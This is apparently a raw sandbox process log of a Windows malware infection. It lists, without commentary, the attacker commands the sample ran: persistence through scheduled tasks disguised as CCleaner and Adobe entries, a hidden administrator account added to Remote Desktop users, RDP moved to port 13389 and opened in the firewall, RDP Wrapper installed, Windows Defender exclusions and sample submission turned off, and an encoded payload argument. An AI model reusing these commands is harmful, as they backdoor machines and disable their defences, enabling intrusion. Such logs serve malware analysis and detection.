findstr.exe findstr /V /R "^ETrtYIGmpEuLDGoEdGacOuXIMVXhCuDbiyQQuybkrfEFDongODRpbaVnVxaeKaXewJEnPsbloismBsyDbJnYfzZOlaUMNcAKsBEUEZmbyGwdwcWDfOFwUYNHJPgvbLvN$" Magra.vst
1744wusa.exe "C:\Windows\System32\wusa.exe" /quiet
2440findstr.exe findstr /V /R "^ETrtYIGmpEuLDGoEdGacOuXIMVXhCuDbiyQQuybkrfEFDongODRpbaVnVxaeKaXewJEnPsbloismBsyDbJnYfzZOlaUMNcAKsBEUEZmbyGwdwcWDfOFwUYNHJPgvbLvN$" Magra.vst
2156cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\1164.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs
3012cscript.exe cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\1164.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs
2820cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\13.vbs" ENWbXBorgA hKztsHIGxo "C:\Users\test22\AppData\Roaming\KGYyvQq\552.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\KfPhiDQW.bat" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
2552cscript.exe cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\13.vbs" ENWbXBorgA hKztsHIGxo "C:\Users\test22\AppData\Roaming\KGYyvQq\552.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\KfPhiDQW.bat" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
1912cmd.exe C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19"
156schtasks.exe schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19"
1168cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\335.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
1820cscript.exe cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\335.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
2392cmd.exe C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC87"
2788cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\test22\AppData\Roaming\KGYyvQq\tbgUJlYNtm.bat ENWbXBorgA hKztsHIGxo"
3068WMIC.exe wmic group where sid="S-1-5-32-544" get name /value
1948cmd.exe C:\Windows\system32\cmd.exe /c "wmic group where sid="S-1-5-32-555" get name /value"
2116net1.exe C:\Windows\system32\net1 user ENWbXBorgA hKztsHIGxo /add
2888net1.exe C:\Windows\system32\net1 localgroup Administrators ENWbXBorgA /add
2212net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" ENWbXBorgA /add
236net.exe net accounts /maxpwage:unlimited
2448reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ENWbXBorgA /t REG_DWORD /d "00000000" /f
2040reg.exe reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 13389 /f
2504netsh.exe netsh advfirewall firewall add rule name="RDP Port 13389" profile=any protocol=TCP action=allow dir=in localport=13389
2560powershell.exe powershell -Command Add-MpPreference -ExclusionPath "$env:ProgramFiles"
3088powershell.exe powershell -Command Add-MpPreference -ExclusionPath "$env:Appdata"
3232powershell.exe powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
3376powershell.exe powershell -Command Add-MpPreference -ExclusionProcess "C:\Windows\System32\wscript.exe"
3512timeout.exe Timeout /t 15
3604fsutil.exe fsutil dirty query C:
3968sc.exe sc queryex "TermService"
3816find.exe find "STATE"
1972RDPWInst.exe "C:\Program Files\RDP Wrapper\RDPWInst.exe" -u
3192netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
468reg.exe reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t reg_dword /d 0x2 /f
3856reg.exe reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel /t reg_dword /d 0x2 /f
4012cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" 2>nul
3648reg.exe reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections"
2192reg.exe reg query "HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters" /f "rdpwrap.dll"
3208cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" 2>nul
3128reg.exe reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll"
3132reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" /t REG_SZ /d "6.1.7601.17514" /f
3744findstr.exe findstr /c:"[6.1.7601.17514]" "C:\Program Files\RDP Wrapper\rdpwrap.ini"
3468cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\195.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\722.vbs" "VlROR2NsQlZWazlXTWtwWlVXMDVlVm93UlcxVWF6bERXWG94YjFNemNEQmpNR2hLVWpOb2RrcHJlREphV0VaM1pETmpPV1Y2Clp6Qk9WVkpHVW10V1EweFVTWGhQVkZGMENrNUVXVEpTUXpGRFRVVk5kMHhVUmtaUFJVNUZUVlZaZWsxRVRUQlJXREE5" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
1068cmd.exe C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65"
2436schtasks.exe schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65"
600findstr.exe findstr /V /R "^ETrtYIGmpEuLDGoEdGacOuXIMVXhCuDbiyQQuybkrfEFDongODRpbaVnVxaeKaXewJEnPsbloismBsyDbJnYfzZOlaUMNcAKsBEUEZmbyGwdwcWDfOFwUYNHJPgvbLvN$" Magra.vst
2756RegAsm.exe C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
1852PING.EXE ping 127.0.0.1 -n 30
204explorer.exe C:\Windows\Explorer.EXE
1236